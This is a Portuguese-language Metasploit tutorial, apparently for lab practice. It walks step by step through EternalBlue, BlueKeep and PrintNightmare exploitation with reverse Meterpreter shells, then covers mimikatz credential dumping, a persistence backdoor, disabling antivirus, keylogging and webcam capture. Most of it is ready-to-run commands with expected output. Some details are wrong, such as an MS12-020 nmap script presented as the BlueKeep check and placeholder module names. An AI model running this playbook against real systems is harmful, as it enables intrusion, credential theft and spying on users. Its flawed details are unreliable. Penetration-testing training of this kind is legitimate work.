

GUIA PRÁTICO

Metasploit Framework

Quando, Onde e Como Usar Cada Comando e Exploit

Aviso Legal

Este guia destina-se exclusivamente a testes de segurança em equipamentos de propriedade própria. A invasão de sistemas de terceiros é crime em praticamente todas as jurisdições.

Ambiente: Kali Linux | Windows 10 | Metasploitable | Ubuntu

Julho de 2026

SUMÁRIO

- 1. O que é o Metasploit Framework?
- 2. Estrutura de um Ataque no Metasploit
- 3. Comandos Básicos do msfconsole
- 4. EternalBlue (MS17-010) — RCE via SMB
- 5. BlueKeep (CVE-2019-0708) — RCE via RDP
- 6. PrintNightmare (CVE-2021-34527) — LPE via Print Spooler
- 7. Local Exploit Suggester — Descobrir LPEs automaticamente
- 8. Módulos de Pós-Exploração (Post)
- 9. Meterpreter — Comandos Essenciais
- 10. Fluxo Completo: Do Scan ao SYSTEM
- 11. Tabela de Decisão: Qual Exploit Usar?
- 12. Erros Comuns e Como Corrigir

1. O que é o Metasploit Framework?

O Metasploit Framework é uma plataforma de código aberto para desenvolvimento e execução de exploits contra sistemas remotos. Ele automatiza tarefas complexas como:

- Enviar payloads maliciosos para alvos vulneráveis
- Gerar shells reversos (conexão do alvo para o atacante)
- Gerar shells binds (conexão do atacante para o alvo)
- Executar módulos de pós-exploração (dump de senhas, persistência, pivoting)
- Automatizar scans e enumeração com módulos auxiliares

Componentes principais:

Componente	Função
msfconsole	Interface interativa principal (console de comandos)
Exploits	Códigos que exploram falhas específicas de software
Payloads	Código executado no alvo APÓS o exploit (shell, meterpreter)
Auxiliares	Módulos de scan, fuzzing, enumeração (não exploram)
Encoders	Ofuscam payloads para evitarem detecção por AV

2. Estrutura de um Ataque no Metasploit

Todo ataque no Metasploit segue uma sequência lógica. Entender essa sequência é essencial para saber QUANDO usar cada comando:

Fases do ataque:

- 1. RECONHECIMENTO:** Descobrir o que está rodando no alvo (portas, serviços, versões). SEM Metasploit — usa nmap, enum4linux, etc.
- 2. IDENTIFICAÇÃO DE VULNERABILIDADE:** Cruzar os serviços encontrados com CVEs conhecidas. Pode usar módulos auxiliares do Metasploit para scan.
- 3. SELEÇÃO DO EXPLOIT:** Escolher o exploit que corresponde à vulnerabilidade encontrada. Cada exploit ataca UMA falha específica.
- 4. CONFIGURAÇÃO DO EXPLOIT:** Definir variáveis obrigatórias: RHOSTS (alvo), LHOST (sua máquina), LPORT (porta de retorno), etc.
- 5. SELEÇÃO DO PAYLOAD:** Escolher o que será executado no alvo: shell reversa, meterpreter, execução de comando, etc.
- 6. EXECUÇÃO (EXPLOIT):** Enviar o exploit. Se funcionar, você recebe uma sessão (shell ou meterpreter) no alvo.
- 7. PÓS-EXPLORAÇÃO:** Usar a sessão para escalar privilégios, dump de credenciais, persistência, pivoting.

Regra de Ouro

Você NUNCA escolhe o exploit antes de saber qual vulnerabilidade existe. O exploit é a CHAVE e a vulnerabilidade é a FECHADURA. A chave errada não abre a fechadura — e pode travar o serviço (DoS).

3. Comandos Básicos do msfconsole

3.1 Iniciar e navegar:

- `msfconsole -q` # Inicia sem banner (mais rápido)
- `msfconsole` # Inicia normal
-
- `search eternalblue` # Busca exploits relacionados
- `search type:exploit name:windows smb`
- `search cve:2019-0708` # Busca por CVE específica
-
- `use exploit/windows/smb/ms17_010_eternalblue`
- `info` # Mostra informações do exploit selecionado
- `show options` # Mostra variáveis configuráveis
- `show payloads` # Mostra payloads compatíveis
- `show targets` # Mostra versões de SO suportadas

3.2 Configurar variáveis:

- `set RHOSTS 192.168.56.10` # IP do alvo (REQUIRED)
- `set LHOST 192.168.56.1` # SEU IP (para shell reverso)
- `set LPORT 4444` # Porta de escuta no Kali
- `set PAYLOAD windows/x64/meterpreter/reverse_tcp`
- `set TARGET 0` # Seleciona alvo específico da lista
-
- `setg LHOST 192.168.56.1` # set GLOBAL – persiste entre exploits
- `unset RHOSTS` # Remove valor de uma variável
- `unsetg LHOST` # Remove valor global

3.3 Executar e gerenciar sessões:

- `exploit` # Executa o exploit (ou 'run')
- `exploit -j` # Executa em background (job)
-
- `sessions -l` # Lista sessões ativas
- `sessions -i 1` # Interage com sessão 1
- `sessions -k 1` # Mata sessão 1
- `background` # Sai do meterpreter para o msfconsole
- `exit` # Sai do meterpreter (fecha sessão)

3.4 Comandos dentro do Meterpreter:

- sysinfo # Informações do sistema alvo
- getuid # Mostra usuário atual no alvo
- ps # Lista processos
- migrate 1234 # Migra para PID 1234 (mais estável)
- shell # Abre cmd.exe do Windows
- download C:\secret.txt /tmp/ # Baixa arquivo
- upload /tmp/backdoor.exe C:\ # Envia arquivo
- screenshot # Captura tela do alvo
- keyscan_start # Inicia keylogger
- keyscan_dump # Mostra teclas capturadas

4. EternalBlue (MS17-010) — RCE via SMB

4.1 O que é esta falha?

EternalBlue explora uma vulnerabilidade no protocolo SMBv1 do Windows. O SMB (Server Message Block) é usado para compartilhamento de arquivos e impressoras em rede. A falha é um **buffer overflow** no processamento de pacotes SMB especiais — o servidor não valida corretamente o tamanho dos dados, permitindo execução de código arbitrário.

Quando usar EternalBlue?

- O scan nmap mostrou porta 445 (SMB) aberta
- O alvo é Windows 7, 8.1, 10 (builds antigas) ou Server 2008/2012
- O comando 'nmap --script smb-vuln-ms17-010' retornou VULNERÁVEL
- SMBv1 está habilitado (comum em builds antigas)

4.2 Comandos passo a passo:

- # PASSO 1: Verificar se o alvo é vulnerável
- nmap --script smb-vuln-ms17-010 -p445 192.168.56.10
-
- # PASSO 2: Abrir o Metasploit
- msfconsole -q
-
- # PASSO 3: Selecionar o exploit
- use exploit/windows/smb/ms17_010_eternalblue
-
- # PASSO 4: Verificar opções necessárias
- show options
-
- # PASSO 5: Configurar o alvo
- set RHOSTS 192.168.56.10
-
- # PASSO 6: Configurar seu IP (para shell reverso)
- set LHOST 192.168.56.1
- set LPORT 4444
-
- # PASSO 7: Selecionar payload (meterpreter é mais poderoso que shell simples)
- set PAYLOAD windows/x64/meterpreter/reverse_tcp
-
- # PASSO 8: Executar

- exploit
-
- # RESULTADO ESPERADO:
- # [*] Started reverse TCP handler on 192.168.56.1:4444
- # [*] 192.168.56.10:445 - Sending exploit...
- # [+] 192.168.56.10:445 - Target is vulnerable!
- # [*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.10:49152)
- # meterpreter>

O que cada variável significa?

RHOSTS = Remote HOSTS (o alvo que será atacado)

LHOST = Local HOST (seu IP no Kali, para receber a conexão reversa)

LPORT = Local PORT (porta no Kali que ficará escutando)

PAYLOAD = O código que será injetado no alvo. 'reverse_tcp' significa que o ALVO vai CONECTAR em você (firewall friendly).

5. BlueKeep (CVE-2019-0708) — RCE via RDP

5.1 O que é esta falha?

BlueKeep é uma vulnerabilidade no serviço de Remote Desktop Protocol (RDP) do Windows. É um **heap overflow** na função de canais virtuais do RDP. Um atacante pode enviar pacotes RDP malformados para executar código arbitrário SEM autenticação. É wormable — pode se espalhar automaticamente pela rede.

Quando usar BlueKeep?

- O scan nmap mostrou porta 3389 (RDP) aberta
- O alvo é Windows 7, XP, Server 2003/2008/2008 R2
- O comando 'nmap --script rdp-vuln-ms12-020' retornou VULNERÁVEL
- RDP está habilitado e acessível pela rede

5.2 Comandos passo a passo:

- # PASSO 1: Verificar vulnerabilidade
- nmap --script rdp-vuln-ms12-020 -p3389 192.168.56.10
-
- # PASSO 2: Abrir Metasploit
- msfconsole -q
-
- # PASSO 3: Selecionar exploit
- use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
-
- # PASSO 4: Verificar targets (MUITO IMPORTANTE para BlueKeep)
- show targets
-
- # PASSO 5: Selecionar target correspondente ao alvo
- # Exemplo: target 3 = Windows 7 SP1
- set TARGET 3
-
- # PASSO 6: Configurar alvo e payload
- set RHOSTS 192.168.56.10
- set LHOST 192.168.56.1
- set LPORT 4445
- set PAYLOAD windows/x64/meterpreter/reverse_tcp
-
- # PASSO 7: Executar
- exploit

-
- # RESULTADO ESPERADO:
- # [*] Started reverse TCP handler on 192.168.56.1:4445
- # [*] 192.168.56.10:3389 - Sending EXE payload...
- # [+] 192.168.56.10:3389 - Exploit completed!
- # [*] Meterpreter session 2 opened

Atenção no BlueKeep

O BlueKeep é INSTÁVEL e pode causar BSOD (tela azul) no alvo. SEMPRE faça snapshot da VM antes de testar. Além disso, o target DEVE corresponder exatamente à versão do Windows — senão o exploit falha ou crasha o sistema.

6. PrintNightmare (CVE-2021-34527) — LPE via Print Spooler

6.1 O que é esta falha?

PrintNightmare explora o serviço Print Spooler do Windows. Este serviço gerencia trabalhos de impressão e roda com privilégios de SYSTEM. A falha permite que um usuário comum instale um driver de impressão malicioso, fazendo com que o Print Spooler (SYSTEM) execute código arbitrário. É uma **Local Privilege Escalation (LPE)** — você já precisa de acesso ao alvo.

Quando usar PrintNightmare?

- Você já tem uma sessão no alvo (shell ou meterpreter)
- O usuário atual tem privilégios limitados (não é SYSTEM)
- O serviço Print Spooler está rodando (padrão no Windows)
- Você quer escalar de usuário comum para SYSTEM

6.2 Comandos passo a passo:

- # PASSO 1: Verificar se Print Spooler está ativo (dentro do meterpreter)
- `ps | grep spool`
-
- # PASSO 2: Verificar se o serviço RPC está acessível
- # (fora do meterpreter, no Kali)
- `rpcdump.py @192.168.56.10 | grep MS-RPRN`
-
- # PASSO 3: Usar exploit do Metasploit
- `msfconsole -q`
- `use exploit/windows/dcerpc/cve_2021_1675_printnightmare`
-
- # PASSO 4: Configurar (precisa de credenciais ou sessão existente)
- `set RHOSTS 192.168.56.10`
- `set SMBUSER testuser`
- `set SMBPASS Password123`
- `set LHOST 192.168.56.1`
- `set LPORT 4446`
-
- # PASSO 5: Executar
- `exploit`
-

- # ALTERNATIVA: Usar impacket (mais confiável)
- python3 /usr/share/doc/python3-impacket/examples/printnightmare.py
- 'testuser:Password123@192.168.56.10'
- -backup-host '192.168.56.1'

Diferença crucial: RCE vs LPE

EternalBlue e BlueKeep são RCE — você ataca REMOTAMENTE, sem credenciais.

PrintNightmare é LPE — você PRECISA já ter acesso ao alvo (shell como usuário comum). Não adianta tentar PrintNightmare de fora — ele precisa de contexto local.

7. Local Exploit Suggester — Descobrir LPEs Automaticamente

7.1 O que faz este módulo?

O Local Exploit Suggester é um módulo de pós-exploração do Metasploit. Ele analisa o sistema alvo (versão do Windows, patches instalados, arquitetura) e sugere quais exploits locais PROVAVELMENTE funcionarão para escalar privilégios. É uma ferramenta de **automação** que economiza tempo de pesquisa manual.

Quando usar o Suggester?

- Você JÁ tem uma sessão meterpreter no alvo
- O usuário atual é limitado (não SYSTEM/Administrador)
- Você não sabe qual LPE usar — quer que o Metasploit descubra
- Após obter acesso inicial via RCE, antes de pós-exploração

7.2 Comandos passo a passo:

- # PASSO 1: Ter uma sessão meterpreter ativa
- # (obtida via EternalBlue, BlueKeep, ou outro vetor)
-
- # PASSO 2: Dentro do meterpreter, executar o suggester
- `run post/multi/recon/local_exploit_suggester`
-
- # RESULTADO ESPERADO:
- # [+] 192.168.56.10 - exploit/windows/local/cve_2021_40449_xxx: The target appears to be vulnerable.
- # [+] 192.168.56.10 - exploit/windows/local/cve_2022_26923_xxx: The target appears to be vulnerable.
- # [+] 192.168.56.10 - exploit/windows/local/token_stealer: The service is running, but could not be validated.
-
- # PASSO 3: Escolher um exploit sugerido e executar
- # (sai do meterpreter para o msfconsole)
- `background`
-
- `use exploit/windows/local/cve_2021_40449_xxx`
- `set SESSION 1` # Número da sessão que você quer elevar
- `set LHOST 192.168.56.1`
- `set LPORT 4447`
- `exploit`

-
- # RESULTADO: Nova sessão como SYSTEM
- # [*] Meterpreter session 3 opened (192.168.56.1:4447 -> 192.168.56.10:49153)

Como funciona por baixo?

O suggester coleta informações do alvo via meterpreter (versão do SO, build, hotfixes) e compara com a base de dados de exploits do Metasploit. Ele verifica se as condições necessárias para cada exploit estão presentes (serviço rodando, patch ausente, arquitetura correta).

8. Módulos de Pós-Exploração (Post)

8.1 O que são módulos Post?

Módulos Post são executados APÓS você obter uma sessão no alvo. Eles não exploram vulnerabilidades — eles **abusam do acesso já conquistado** para coletar informações, escalar privilégios ou manter persistência.

8.2 Principais módulos Post:

Módulo	Função	Quando Usar
<code>post/multi/recon/local_exploit_suggester</code>	Sugere LPEs baseado no sistema alvo	Após obter sessão, antes de escalar
<code>post/windows/gather/credentials/mimikatz</code>	Extraí senhas em texto claro da memória	Como SYSTEM, dump credenciais
<code>post/windows/manage/persistence_exe</code>	Instala backdoor persistente	Após escalar, manter acesso
<code>post/windows/gather/enum_applications</code>	Lista softwares instalados	Reconhecimento interno
<code>post/windows/gather/enum_shares</code>	Lista compartilhamentos SMB	Movimentação lateral
<code>post/windows/manage/killav</code>	Desativa antivírus e EDR	Antes de executar payloads detectáveis

8.3 Exemplo de uso do mimikatz (Post):

- `# Dentro do meterpreter (como SYSTEM):`
- `load kiwi` `# Carrega extensão mimikatz`
- `creds_all` `# Extraí TODAS as credenciais`
- `lsa_dump_sam` `# Dump do banco SAM (hashes locais)`
- `lsa_dump_secrets` `# Dump de LSA secrets`
- `kerberos_ticket_list` `# Lista tickets Kerberos`
- `kerberos_ticket_use /tmp/ticket.kirbi` `# Pass-the-ticket`

9. Meterpreter — Comandos Essenciais

9.1 O que é o Meterpreter?

Meterpreter é um payload avançado do Metasploit. Diferente de um shell simples (cmd.exe), ele é um agente sofisticado que roda inteiramente na memória do alvo (fileless), não deixa rastros no disco e oferece comandos poderosos para pós-exploração.

9.2 Comandos essenciais do Meterpreter:

Comando	Função	Quando Usar
sysinfo	Mostra SO, arquitetura, hostname, usuário logado	Ao abrir sessão — entender o alvo
getuid	Mostra usuário atual no alvo	Verificar se precisa escalar privilégios
ps	Lista processos com PID, usuário, caminho	Escolher processo para migração
migrate <PID>	Migra para outro processo	Quando processo atual é instável (ex: exploit)
shell	Abre cmd.exe / PowerShell	Quando precisa de comandos nativos do SO
background	Volta para msfconsole (mantém sessão)	Para executar outro modulo/exploit
download <path>	Baixa arquivo do alvo	Exfiltração de dados
upload <path>	Envia arquivo para o alvo	Enviar ferramentas (PrintSpoofer, etc)
screenshot	Captura tela do desktop	Documentar evidências
keyscan_start	Inicia keylogger	Coletar senhas digitadas
keyscan_dump	Mostra teclas capturadas	Após período de espionagem
webcam_list	Lista webcams disponíveis	Espionagem visual
webcam_snap	Tira foto da webcam	Capturar imagem
load kiwi	Carrega extensão mimikatz	Antes de dump de credenciais
hashdump	Extrai hashes SAM (loais)	Crack offline com hashcat/john

10. Fluxo Completo: Do Scan ao SYSTEM

Aqui está o fluxo completo de um pentest realista no Windows 10, do início ao fim, com explicação de CADA comando e POR QUE ele é usado:

FASE 1: Reconhecimento (fora do Metasploit)

- `nmap -sV -sC -O -p- 192.168.56.10`
- # POR QUE: Descobrir quais serviços estão rodando e suas versões
- # RESULTADO: Porta 445 (SMB) aberta, Windows 10, SMBv1 ativo

FASE 2: Verificar vulnerabilidade específica

- `nmap --script smb-vuln-ms17-010 -p445 192.168.56.10`
- # POR QUE: Confirmar se o alvo é vulnerável a EternalBlue
- # RESULTADO: 'VULNERABLE to MS17-010'

FASE 3: Exploração remota (RCE)

- `msfconsole -q`
- `use exploit/windows/smb/ms17_010_eternalblue`
- # POR QUE: Selecionar o exploit que ataca a vulnerabilidade confirmada
- `set RHOSTS 192.168.56.10`
- # POR QUE: Dizer ao Metasploit QUAL máquina atacar
- `set LHOST 192.168.56.1`
- # POR QUE: Dizer ao alvo PARA ONDE conectar (nosso Kali)
- `set LPORT 4444`
- # POR QUE: Porta que o Kali vai escutar
- `set PAYLOAD windows/x64/meterpreter/reverse_tcp`
- # POR QUE: Meterpreter é mais poderoso que shell simples
- `exploit`
- # POR QUE: Enviar o exploit e receber a sessão

FASE 4: Verificar privilégios

- `meterpreter> getuid`
- # POR QUE: Saber se já somos SYSTEM ou precisamos escalar
- # RESULTADO: 'Server username: NT AUTHORITY\SYSTEM'

- # SE for SYSTEM: pular para FASE 6
- # SE for usuário comum: continuar para FASE 5

FASE 5: Escalada de Privilégio (se necessário)

- meterpreter> background
- # POR QUE: Sair do meterpreter para usar outro exploit
- msf6> run post/multi/recon/local_exploit_suggester
- # POR QUE: Descobrir automaticamente quais LPEs funcionam
- msf6> use exploit/windows/local/cve_2021_40449_xxx
- # POR QUE: Usar um exploit sugerido
- set SESSION 1
- # POR QUE: Dizer qual sessão queremos elevar
- exploit
- # RESULTADO: Nova sessão como SYSTEM

FASE 6: Pós-exploração (como SYSTEM)

- meterpreter> load kiwi
- # POR QUE: Carregar mimikatz para extrair senhas
- meterpreter> creds_all
- # POR QUE: Extrair TODAS as credenciais da memória
- meterpreter> hashdump
- # POR QUE: Obter hashes SAM para crack offline
- meterpreter> screenshot
- # POR QUE: Documentar evidência visual
- meterpreter> run persistence -U -i 5 -p 4445 -r 192.168.56.1
- # POR QUE: Instalar backdoor que reconecta a cada 5 segundos

11. Tabela de Decisão: Qual Exploit Usar?

Use esta tabela para decidir RAPIDAMENTE qual exploit escolher baseado no que você descobriu no reconhecimento:

O que você encontrou?	Vulnerabilidade	Exploit do Metasploit	Tipo
Porta 445 + SMBv1 + Windows 7/8.1/10 antigo	MS17-010 (EternalBlue)	exploit/windows/smb/ms17_010_eternalblue	RCE
Porta 3389 + RDP + Windows 7/XP/2008	CVE-2019-0708 (BlueKeep)	exploit/windows/rdp/cve_2019_0708_bluekeep_rce	RCE
Porta 445 + credenciais + Print Spooler ativo	CVE-2021-34527 (PrintNightmare)	exploit/windows/dcerpc/cve_2021_1675_printnightmare	LPE
Sessão como usuário + Token de SYSTEM disponível	Token Manipulation	exploit/windows/local/xxx_potato	LPE
Sessão como usuário + Print Spooler rodando	Named Pipe Impersonation	Manual: PrintSpoofer.exe	LPE
Sessão como usuário + Serviço com permissões fracas	Service Abuse	exploit/windows/local/service_permissions	LPE
Qualquer Windows + sessão meterpreter	Várias LPEs	post/multi/recon/local_exploit_suggester	Auxiliar
Porta 445 + credenciais + Windows 10/11	Pass-the-Hash	exploit/windows/smb/psexec	RCE com credenciais

12. Erros Comuns e Como Corrigir

Erro	Causa	Solução
Exploit completed but no session was created	Payload errado, firewall no alvo, ou target incorreto	Verificar PAYLOAD, LHOST, LPORT. Tentar outro target.
Connection refused	Serviço não está rodando na porta esperada	Verificar com nmap se a porta realmente está aberta.
The target is not vulnerable	Patch instalado ou versão incorreta	Verificar versão exata do SO. Tentar outro exploit.
Invalid credentials	Senha errada ou usuário não existe	Verificar credenciais com enum4linux ou crackmapexec.
Access denied	Privilégios insuficientes para o exploit	Tentar outro exploit ou escalar antes.
Blue screen (BSOD)	Exploit instável ou target errado	Restaurar snapshot. Verificar target correto.

Dicas finais:

- Sempre faça snapshot da VM alvo antes de explorar — exploits podem crashar o sistema
- Se um exploit falhar, NÃO desista — tente outro payload ou target
- RCEs (EternalBlue, BlueKeep) são para acesso inicial; LPEs (PrintNightmare, Potato) são para escalar
- O Meterpreter é seu melhor amigo na pós-exploração — aprenda seus comandos
- Documente CADA passo com screenshots — é essencial para relatórios de pentest

Lembrete Final

Este guia é para fins educacionais e de testes em equipamentos de propriedade própria. O uso indevido dessas técnicas em sistemas de terceiros constitui crime cibernético. Sempre obtenha autorização por escrito antes de realizar testes de penetração.